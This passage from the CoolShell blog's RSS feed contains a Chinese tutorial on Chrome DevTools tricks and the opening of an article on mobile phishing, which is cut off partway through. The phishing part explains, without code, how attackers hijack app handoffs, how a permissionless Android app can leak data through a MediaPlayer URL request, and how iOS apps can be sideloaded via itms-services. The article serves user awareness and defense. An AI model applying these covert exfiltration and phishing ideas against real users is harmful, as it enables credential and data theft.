<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png" alt="HTTP API 认证授权术" width="150" height="150" /></a><a href="https://coolshell.cn/articles/19395.html" class="wp_rp_title">HTTP API 认证授权术</a></li><li ><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2014/02/Github-Security-150x150.png" alt="从“黑掉Github”学Web安全开发" width="150" height="150" /></a><a href="https://coolshell.cn/articles/11021.html" class="wp_rp_title">从“黑掉Github”学Web安全开发</a></li><li ><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/webtoolbox-150x150.jpg" alt="Web工程师的工具箱" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8767.html" class="wp_rp_title">Web工程师的工具箱</a></li><li ><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/12/200906020837401710-150x150.jpg" alt="程序员疫苗：代码注入" width="150" height="150" /></a><a href="https://coolshell.cn/articles/8711.html" class="wp_rp_title">程序员疫苗：代码注入</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg" alt="如何设计“找回用户帐号”功能" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5987.html" class="wp_rp_title">如何设计“找回用户帐号”功能</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/18094.html">如何免费的让网站启用HTTPS</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/18094.html/feed</wfw:commentRss>
			<slash:comments>91</slash:comments>
		
		
			</item>
		<item>
		<title>Chrome开发者工具的小技巧</title>
		<link>https://coolshell.cn/articles/17634.html</link>
					<comments>https://coolshell.cn/articles/17634.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Thu, 19 Jan 2017 12:25:55 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[编程工具]]></category>
		<category><![CDATA[Chrome]]></category>
		<category><![CDATA[CSS]]></category>
		<category><![CDATA[HTML]]></category>
		<category><![CDATA[Javascript]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=17634</guid>

					<description><![CDATA[<p>Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/17634.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/17634.html">Chrome开发者工具的小技巧</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script>Chrome的开发者工具是个很强大的东西，相信程序员们都不会陌生，不过有些小功能可能并不为大众所知，所以，写下这篇文章罗列一下可能你所不知道的功能，有的功能可能会比较实用，有的则不一定，也欢迎大家补充交流。</p>
<p>话不多话，我们开始。</p>
<h4>代码格式化</h4>
<p>有很多css/js的代码都会被 minify 掉，你可以点击代码窗口左下角的那个 <strong><code>{ }</code></strong>  标签，chrome会帮你给格式化掉。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-17640" src="https://coolshell.cn/wp-content/uploads/2017/01/pretty-code.gif" alt="" width="707" height="319" /></p>
<p><span id="more-17634"></span></p>
<h4>强制DOM状态</h4>
<p>有些HTML的DOM是有状态的，比如&lt;a&gt; 标签，其会有 active，hover， focus，visited这些状态，有时候，我们的CSS会来定关不同状态的样式，在分析网页查看网页上DOM的CSS样式时，我们可以点击CSS样式上的 <strong><code>:hov</code></strong> 这个小按钮来强制这个DOM的状态。</p>
<p>&nbsp;</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-17641" src="https://coolshell.cn/wp-content/uploads/2017/01/state.gif" alt="" width="853" height="331" /></p>
<p>&nbsp;</p>
<h4>动画</h4>
<p>现在的网页上都会有一些动画效果。在Chrome的开发者工具中，通过右上角的菜单中的 <code>More Tools</code> =&gt; <code>Animations</code> 呼出相关的选项卡。于是你就可以慢动作播放动画了（可以点选 <code>25%</code> 或 <code>10%</code>），然后，Chrome还可以帮你把动画录下来，你可以拉动动再画的过程，甚至可以做一些简单的修改。</p>
<p>&nbsp;</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17637" src="https://coolshell.cn/wp-content/uploads/2017/01/animation.gif" width="442" height="723" /></p>
<h4>直接编辑网页</h4>
<p>在你的 console 里 输入下面的命令：</p>
<p><code data-enlighter-language="js" class="EnlighterJSRAW">document.designMode = &quot;on&quot; </code></p>
<p>于是你就可以直接修改网页上的内容了。</p>
<p>P.S. 下面这个抓屏中还演示了一个如何清空console的示例。你可以输入 clear() 或是 按 <code>Ctrl+L</code>（Windows下），<code>CMD + K</code> (Mac下)</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17642" src="https://coolshell.cn/wp-content/uploads/2017/01/editor.gif" width="800" height="328" /></p>
<p>&nbsp;</p>
<h4>网络限速</h4>
<p>你可以设置你的网络的访问速度来模拟一个网络很慢的情况。</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-full wp-image-17644" src="https://coolshell.cn/wp-content/uploads/2017/01/custom-network-throttling-profiles.gif" alt="" width="707" height="319" /></p>
<p>&nbsp;</p>
<h4>复制HTTP请求</h4>
<p>这个是我很喜欢 的一个功能，你可以在 network选项卡里，点击 XHR 过滤相关的Ajax请求，然后在相关的请求上点鼠标右键，在菜单中选择： <code>Copy</code> =&gt; <code>Copy as cURL</code>，然后就可以到你的命令行下去 执行 <code>curl</code> 的命令了。这个可以很容易做一些自动化的测试。</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17645" src="https://coolshell.cn/wp-content/uploads/2017/01/curl.gif" width="800" height="328" /></p>
<p>&nbsp;</p>
<p><strong>友情提示：这个操作有可能会把你的个人隐私信息复制出去，比如你个人登录后的cookie。</strong></p>
<h4>抓个带手机的图</h4>
<p>这个可能有点无聊了，不过我觉得挺有意思的。</p>
<p>在device显示中，先选择一个手机，然后在右上角选 <code>Show Device Frame</code>，然后你就看到手机的样子了，然后再到那个菜中中选 Capture snapshot，就可以抓下一个有手机样子的截图了。</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17646" src="https://coolshell.cn/wp-content/uploads/2017/01/device.gif" width="700" height="404" /></p>
<p>我抓的图如下（当然，不是所有的手机都有frame的）</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17647 size-medium" src="https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png" width="148" height="300" srcset="https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-148x300.png 148w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-768x1559.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-505x1024.png 505w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1-133x270.png 133w, https://coolshell.cn/wp-content/uploads/2017/01/coolshell.cn-iPhone-6-Plus-1.png 780w" sizes="(max-width: 148px) 100vw, 148px" /></p>
<p>&nbsp;</p>
<h4>设置断点</h4>
<p>除了给Javascript的源代码上设置断点调试，你还可以：</p>
<h5>给DOM设置断点</h5>
<p>选中一个DOM，然后在右键菜单中选 Break on &#8230; 你可以看到如下三个选项：</p>
<h4><img decoding="async" loading="lazy" class="aligncenter wp-image-17665" src="https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-1024x708.png" width="500" height="345" srcset="https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-1024x708.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-300x207.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-768x531.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_-391x270.png 391w, https://coolshell.cn/wp-content/uploads/2017/01/break.dom_.png 1152w" sizes="(max-width: 500px) 100vw, 500px" /></h4>
<h5>给XHR和Event Lisener设置断点</h5>
<p>在 Sources 面页中，你可以看到右边的那堆break points中，除了上面我们说的给DOM设置断点，你还可以给XHR和Event Listener设置断点，载图如下：</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17666" src="https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-834x1024.png" width="400" height="491" srcset="https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-834x1024.png 834w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-244x300.png 244w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-768x943.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints-220x270.png 220w, https://coolshell.cn/wp-content/uploads/2017/01/breakpoints.png 906w" sizes="(max-width: 400px) 100vw, 400px" /></p>
<h4>关于Console中的技巧</h4>
<h5>DOM操作</h5>
<ul>
<li>chrome会帮你buffer 5个你查看过的DOM对象，你可以直接在Console中用 $0, $1, $2, $3, $4来访问。</li>
</ul>
<ul>
<li>你还可以使用像jQuery那样的语法来获得DOM对象，如：<code>$("#mydiv")</code></li>
</ul>
<ul>
<li>你还可使用 <code>$$(".class")</code> 来选择所有满足条件的DOM对象。</li>
</ul>
<ul>
<li>你可以使用 <code>getEventListeners($("selector"))</code> 来查看某个DOM对象上的事件（如下图所示）。</li>
</ul>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17656" src="https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded.png" width="642" height="223" srcset="https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded.png 842w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-300x104.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-768x267.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/events-geteventlisteners_expanded-604x210.png 604w" sizes="(max-width: 642px) 100vw, 642px" /></p>
<ul>
<li>你还可以使用 <code>monitorEvents($("selector"))</code> 来监控相关的事件。比如：</li>
</ul>
<p><code data-enlighter-language="js" class="EnlighterJSRAW">monitorEvents(document.body, &quot;click&quot;);</code></p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-17661" src="https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-1024x378.png" alt="" width="640" height="236" srcset="https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-1024x378.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-300x111.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-768x283.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events-604x223.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-events.png 1302w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<h5>Console中的一些函数</h5>
<p><strong>1）monitor函数</strong></p>
<p>使用 monitor函数来监控一函数，如下面的示例</p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17657 size-medium" src="https://coolshell.cn/wp-content/uploads/2017/01/monitor-300x112.png" width="300" height="112" srcset="https://coolshell.cn/wp-content/uploads/2017/01/monitor-300x112.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/monitor-604x226.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/monitor.png 706w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p><strong>2）copy函数</strong></p>
<p>copy函数可以把一个变量的值copy到剪贴板上。</p>
<p><strong>3）inspect函数</strong></p>
<p>inspect函数可以让你控制台跳到你需要查看的对象上。如：</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-17662" src="https://coolshell.cn/wp-content/uploads/2017/01/inspect-1024x459.png" alt="" width="640" height="287" srcset="https://coolshell.cn/wp-content/uploads/2017/01/inspect-1024x459.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-300x135.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-768x345.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/inspect-602x270.png 602w, https://coolshell.cn/wp-content/uploads/2017/01/inspect.png 1364w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>更多的函数请参数官方文档 &#8211; <a href="https://developers.google.com/web/tools/chrome-devtools/console/command-line-reference" target="_blank">Using the Console / Command Line Reference</a></p>
<h5>Console的输出</h5>
<p>我们知道，除了<code>console.log</code>之外，还有<code>console.debug</code>，<code>console.info</code>，<code>console.warn</code>，<code>console.error</code>这些不同级别的输出。另外一个鲜为人知的功能是，<code>console.log</code>中，你还可以对输出的文本加上css的样式，如下所示：</p>
<p><code data-enlighter-language="js" class="EnlighterJSRAW">console.log(&quot;%c左耳朵&quot;, &quot;font-size:90px;color:#888&quot;)</code></p>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17651 size-medium" src="https://coolshell.cn/wp-content/uploads/2017/01/console.log_-300x92.png" width="300" height="92" srcset="https://coolshell.cn/wp-content/uploads/2017/01/console.log_-300x92.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_-768x236.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_-604x185.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.log_.png 782w" sizes="(max-width: 300px) 100vw, 300px" /></p>
<p>于是，你可以定义一些相关的log函数，如：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">console.todo = function( msg){
  console.log( &#039;%c%s %s %s&#039;, &#039;font-size:20px; color:yellow; background-color: blue;&#039;, &#039;--&#039;, msg, &#039;--&#039;);
}
console.important = function( msg){
  console.log( &#039;%c%s %s %s&#039;, &#039;font-size:20px; color:brown; font-weight: bold; text-decoration: underline;&#039;, &#039;--&#039;, msg, &#039;--&#039;);
}</pre>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17652" src="https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-1024x411.png" width="500" height="201" srcset="https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-1024x411.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-300x121.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-768x309.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_-604x243.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.log2_.png 1140w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>关于console.log中的格式化，你可以参看如下表格：</p>
<table class="t1" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="td1" valign="middle">指示符</td>
<td class="td2" valign="middle">输出</td>
</tr>
<tr>
<td class="td3" valign="top">%s</td>
<td class="td4" valign="top">格式化输出一个字符串变量。</td>
</tr>
<tr>
<td class="td3" valign="top">%i or %d</td>
<td class="td4" valign="top">格式化输出一个整型变量的值。</td>
</tr>
<tr>
<td class="td3" valign="top">%f</td>
<td class="td4" valign="top">格式化输出一个浮点数变量的值。</td>
</tr>
<tr>
<td class="td3" valign="top">%o</td>
<td class="td4" valign="top">格式化输出一个DOM对象。</td>
</tr>
<tr>
<td class="td3" valign="top">%O</td>
<td class="td4" valign="top">格式化输出一个Javascript对象。</td>
</tr>
<tr>
<td class="td3" valign="top">%c</td>
<td class="td4" valign="top">为后面的字符串加上CSS样式</td>
</tr>
</tbody>
</table>
<p>&nbsp;</p>
<p>除了console.log打印js的数组，你还可以使用console.table来打印，如下所示：</p>
<pre data-enlighter-language="js" class="EnlighterJSRAW">var pets = [
  { animal: &#039;Horse&#039;, name: &#039;Pony&#039;, age: 23 },
  { animal: &#039;Dog&#039;, name: &#039;Snoopy&#039;, age: 13 },
  { animal: &#039;Cat&#039;, name: &#039;Tom&#039;, age: 18 },
  { animal: &#039;Mouse&#039;, name: &#039;Jerry&#039;, age: 12}
];
console.table(pets)</pre>
<p><img decoding="async" loading="lazy" class="aligncenter wp-image-17653" src="https://coolshell.cn/wp-content/uploads/2017/01/console.table_-1024x438.png" width="500" height="214" srcset="https://coolshell.cn/wp-content/uploads/2017/01/console.table_-1024x438.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-300x128.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-768x328.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_-604x258.png 604w, https://coolshell.cn/wp-content/uploads/2017/01/console.table_.png 1142w" sizes="(max-width: 500px) 100vw, 500px" /></p>
<p>&nbsp;</p>
<h4>关于console对象</h4>
<ul>
<li>console对象除了上面的打日志的功能，其还有很多功能，比如：</li>
<li>console.trace() 可以打出js的函数调用栈</li>
<li>console.time() 和 console.timeEnd() 可以帮你计算一段代码间消耗的时间。</li>
<li>console.profile() 和 console.profileEnd() 可以让你查看CPU的消耗。</li>
<li>console.count() 可以让你看到相同的日志当前被打印的次数。</li>
<li>console.assert(expression, object) 可以让你assert一个表达式</li>
</ul>
<p>这些东西都可以看看<a href="https://developers.google.com/web/tools/chrome-devtools/console/console-reference" target="_blank">Google的Console API的文档</a>。</p>
<p>其实，还有很多东西，你可以参看Google的官方文档 &#8211; <a href="https://developers.google.com/web/tools/chrome-devtools/" target="_blank">Chrome DevTools</a></p>
<h4>关于快捷键</h4>
<p>点击在 DevTools的右上角的那三个坚排的小点，你会看到一个菜单，点选 <code>Shortcuts</code>，你就可以看到所有的快捷键了</p>
<p><img decoding="async" loading="lazy" class="aligncenter size-large wp-image-17669" src="https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-1024x466.png" alt="" width="640" height="291" srcset="https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-1024x466.png 1024w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-300x137.png 300w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-768x350.png 768w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts-593x270.png 593w, https://coolshell.cn/wp-content/uploads/2017/01/shortcuts.png 1898w" sizes="(max-width: 640px) 100vw, 640px" /></p>
<p>如果你知道更多，也欢迎补充！</p>
<p>（全文完）<!--



<p align="center"><a href= target=_blank><img decoding="async" src=""></a></p>





<p align="center"><img decoding="async" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg"> <img decoding="async" loading="lazy" src="https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg" width="300" height="300"> <br />关注CoolShell微信公众账号和微信小程序</p>

 

--></p>
<div style="margin-top: 15px; font-size: 16px;color: #cc0000;">
<p align="center"><strong>（转载本站文章请注明作者和出处 <a href="https://coolshell.cn/">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>
</div>

<div class="wp_rp_wrap  wp_rp_vertical_m" ><div class="wp_rp_content"><h3 class="related_post_title">相关文章</h3><ul class="related_post wp_rp"><li ><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg" alt="浏览器的渲染原理简介" width="150" height="150" /></a><a href="https://coolshell.cn/articles/9666.html" class="wp_rp_title">浏览器的渲染原理简介</a></li><li ><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/02/1128-150x150.jpg" alt="Web开发人员速查卡" width="150" height="150" /></a><a href="https://coolshell.cn/articles/3684.html" class="wp_rp_title">Web开发人员速查卡</a></li><li ><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2012/03/css-layouts-150x150.gif" alt="CSS 布局:40个教程、技巧、例子和最佳实践" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6840.html" class="wp_rp_title">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li ><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg" alt="Web开发中需要了解的东西" width="150" height="150" /></a><a href="https://coolshell.cn/articles/6043.html" class="wp_rp_title">Web开发中需要了解的东西</a></li><li ><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/uploads/2011/11/stackparts.com_-150x150.png" alt="一些文章资源和趣闻" width="150" height="150" /></a><a href="https://coolshell.cn/articles/5537.html" class="wp_rp_title">一些文章资源和趣闻</a></li><li ><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_thumbnail"><img src="https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg" alt="开源中最好的Web开发的资源" width="150" height="150" /></a><a href="https://coolshell.cn/articles/4795.html" class="wp_rp_title">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href="https://coolshell.cn/articles/17634.html">Chrome开发者工具的小技巧</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></content:encoded>
					
					<wfw:commentRss>https://coolshell.cn/articles/17634.html/feed</wfw:commentRss>
			<slash:comments>63</slash:comments>
		
		
			</item>
		<item>
		<title>关于移动端的钓鱼式攻击</title>
		<link>https://coolshell.cn/articles/17066.html</link>
					<comments>https://coolshell.cn/articles/17066.html#comments</comments>
		
		<dc:creator><![CDATA[陈皓]]></dc:creator>
		<pubDate>Tue, 14 Apr 2015 00:13:23 +0000</pubDate>
				<category><![CDATA[Web开发]]></category>
		<category><![CDATA[杂项资源]]></category>
		<category><![CDATA[程序设计]]></category>
		<category><![CDATA[网络安全]]></category>
		<category><![CDATA[Android]]></category>
		<category><![CDATA[iOS]]></category>
		<category><![CDATA[安全]]></category>
		<guid isPermaLink="false">http://coolshell.cn/?p=17066</guid>

					<description><![CDATA[<p>今天，在微博上看了一篇《微信和淘宝到底是谁封谁》的文章，我觉得文章中逻辑错乱，所以，我发了一篇关于这篇文章逻辑问题的长微博。后面，我被原博主冷嘲热讽了一番，说是...</p>
<p class="read-more"><a class="btn btn-default" href="https://coolshell.cn/articles/17066.html"> Read More<span class="screen-reader-text">  Read More</span></a></p>
The post <a href="https://coolshell.cn/articles/17066.html">关于移动端的钓鱼式攻击</a> first appeared on <a href="https://coolshell.cn">酷 壳 - CoolShell</a>.]]></description>
										<content:encoded><![CDATA[<p><script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158"
     crossorigin="anonymous"></script><img decoding="async" loading="lazy" class="alignright size-full wp-image-17069" src="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg" alt="phishing-1" width="300" height="300" srcset="https://coolshell.cn/wp-content/uploads/2015/04/phishing-1.jpg 300w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg 150w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-200x200.jpg 200w, https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-270x270.jpg 270w" sizes="(max-width: 300px) 100vw, 300px" />今天，在微博上看了一篇《<a href="http://weibo.com/p/1001603830475402664763" target="_blank">微信和淘宝到底是谁封谁</a>》的文章，我觉得文章中逻辑错乱，所以，我发了一篇<a href="http://weibo.com/p/1001603831131286939079" target="_blank">关于这篇文章逻辑问题的长微博</a>。后面，我被原博主冷嘲热讽了一番，说是什么鸡汤啊，什么我与某某之流的人在一起混淆视听啊，等等。并且也有一些网友找我讨论一下相关的钓鱼式攻击的技术问题。所以，我想写下这篇纯技术文章，因为我对那些商业利益上的东西不关心，所以，只谈技术，这样最简单。</p>
<p>首先说明一下，<strong>我个人不是一个安全专家，也不是一个移动开发专家，按道理来说，这篇文章不应该我来写，但是我就试一试，请原谅我的无知，也期待抛砖引玉了，希望安全的同学斧正</strong>。</p>
<p>关于钓鱼式攻击，其实是通过一种社会工程学的方式来愚弄用户的攻击式，攻击者通常会模仿一个用户信任的网站来偷取用户的机密信息，比如用户密码或是信用卡。一般来说，攻击者会通过邮件和实时通信工具完成，给被攻击者发送一个高仿的网站，然后让用户看不出来与正统网站的差别，然后收集用户的机密数据。</p>
<h4>移动端钓鱼攻击点分析</h4>
<p>因为钓鱼式攻击并不新鲜，所以我这里只讲移动方面的。</p>
<p>在移动端，这个事情会更容易干，因为移动端有如下特点：</p>
<ul>
<li>移动端的UI只能有一个应用占据整个屏幕，你只能看到一个应用，而且用户屏幕小，能显示的信息有限，比如浏览器里的网址是显示不全的。这会给钓鱼攻击有很多可乘之机。</li>
</ul>
<ul>
<li>移动端的平台有其安全的设计。每个应用都是隔离开的，一个应用无法获取另一个应用的数据。而且应用的下载基本上来说都是来自合法的地方。比如iOS的设备通过App Store下载，每个程序都有自己的签名保证不会被篡改。而且移动端的的应用有各种权限配置，这样也能很大程度提高安全性。</li>
</ul>
<ul>
<li>移动端的APP有些有些是收费的，所以自然会有盗版需求，虽然在平台上做了一些安全设计，但是并不完美。用户可以越狱，可以root。这给恶意软件有了可乘之机。</li>
</ul>
<p>下面我们来分析下移动端的用户操作，我们重点关注用户控制权的切换过程（因为这是攻击点）</p>
<p><span id="more-17066"></span></p>
<p>在移动设备上，基本上来说，用户的控制切换有四种：</p>
<ul>
<li>从一个APP切到另一个APP，也就是我们所谓的唤出APP。</li>
<li>从一个APP唤出一个Web，常见为一个嵌入式的WebView或是一个浏览器</li>
<li>从一个Web唤出一个APP，这需要浏览器支持一些非标准的HTTP协议，比如skype://之类的。</li>
<li>从一个Web到另一个Web，这和Web上的方式差不多。</li>
</ul>
<p>基本上来说，<strong>黑客的攻击从来都是找这样的转换环节来做文章的，并且需要一个用户非常熟悉的场景（这样用户才会放松警惕）</strong>。</p>
<p>通过观察移动APP的特性，我们可以知道，当用户控制切换时，有下面的这些特性：</p>
<ul>
<li>到另一个APP时，需要用户登录（如果登录的session过期了）</li>
<li>当支付的时候，需要用户输入支付信息（信用卡信息、支持密码）</li>
</ul>
<p>那么用户在移动APP上经常做的事是什么？</p>
<ul>
<li><strong>社交分享</strong>：分享到微博，分享到微信等等，分享的时候，可能需要你输入用户名和口令。</li>
</ul>
<ul>
<li><strong>应用内购</strong>：一般来说APP会有两种，一种免费的，一种是收费的，大量的用户都是下载免费的，然后通过什么“开通更多关卡”、“去广告”、“买道具”之类的东西，让用户输入支付信息。Apple的支付的时候也会要用户输入Apple ID的密码。</li>
</ul>
<ul>
<li><strong>点击链接</strong>：有时候，我们收到短信，或是二维码，或是一个微信微博，会让我们去点击一个网站链接，这个网站链接要么就是打开一个网页，要么就是启动应用，要么就是跳转到应用市场去下载应用（如果你没安装）。</li>
</ul>
<p>所以，一个好的钓鱼式攻击一定会从这些地方入手，然后高仿UI以及交互流程，这个交互流程和用户日常操作的完全一样，让用户无法察觉。任何方式的钓鱼攻击简单来说，会有两种：</p>
<ul>
<li><strong>一种是直接攻击：</strong>你下载了一个恶意的APP，或是打开了一个恶意的冒牌APP。</li>
<li><strong>一种是中间人攻击：</strong>用户控制权转换时的两端都是正规应用，但是中间的过程不是正常的。</li>
</ul>
<h4>攻击方式</h4>
<p>下面是一些常见的攻击方式：</p>
<h5>从一个应用唤起另一个应用的方式</h5>
<p><strong>直接攻击</strong></p>
<p>当你点击一个社交分享按钮，或是一个支付按钮的时候。就会转到一个页面，这个页面需要你输入用户机密信息（密码或是支付信息），然后再唤起真正的APP。</p>
<p>一个有恶意的APP可能会让你放松警惕，因为，这个你在安装这个APP的时候，你会发现这个APP根本不需要任何的权限（Android上的），甚至连网络访问的权限都不要，因为在Android下，App可以通过别的组件访问互联网，比如：恶意应用可能创建一个MediaPlayer Object，然后就可以通过这个对象访问一个URL然后把偷到的信息发送出去。</p>
<p>你的手机要被安装一个恶意的应用并不难，同样通过社工的方式，比如：盗版，色情，伪装成客服等等通过人性的弱点让你去一些非受信的市场上安装。iOS设备上的应用也可以不用通过App Store安装（通过itms-services协议，可以通过safari浏览器直接在IOS设备上安装应用程序）。</p>
<p>还有，人们都是贪小便宜的人，所以，会到某些地方买一些便宜的手机（比如淘宝），现在的高仿手机，翻新的二手手机对于一般人甚至安全专家来说完全没有识别能力。这些手机中有很大可能藏有恶意程序。你千万不要以为你格式化手机就OK了。今天（2015年4月14日）早上CCTV2台的“第一时间”就说了一个案例，你可以看看。另外，你可以看看相关的新闻。（另外，你把你的旧手机卖了也要小心，因为你的数据就在里面，旧手机已经成了一个灰色产业链）</p>
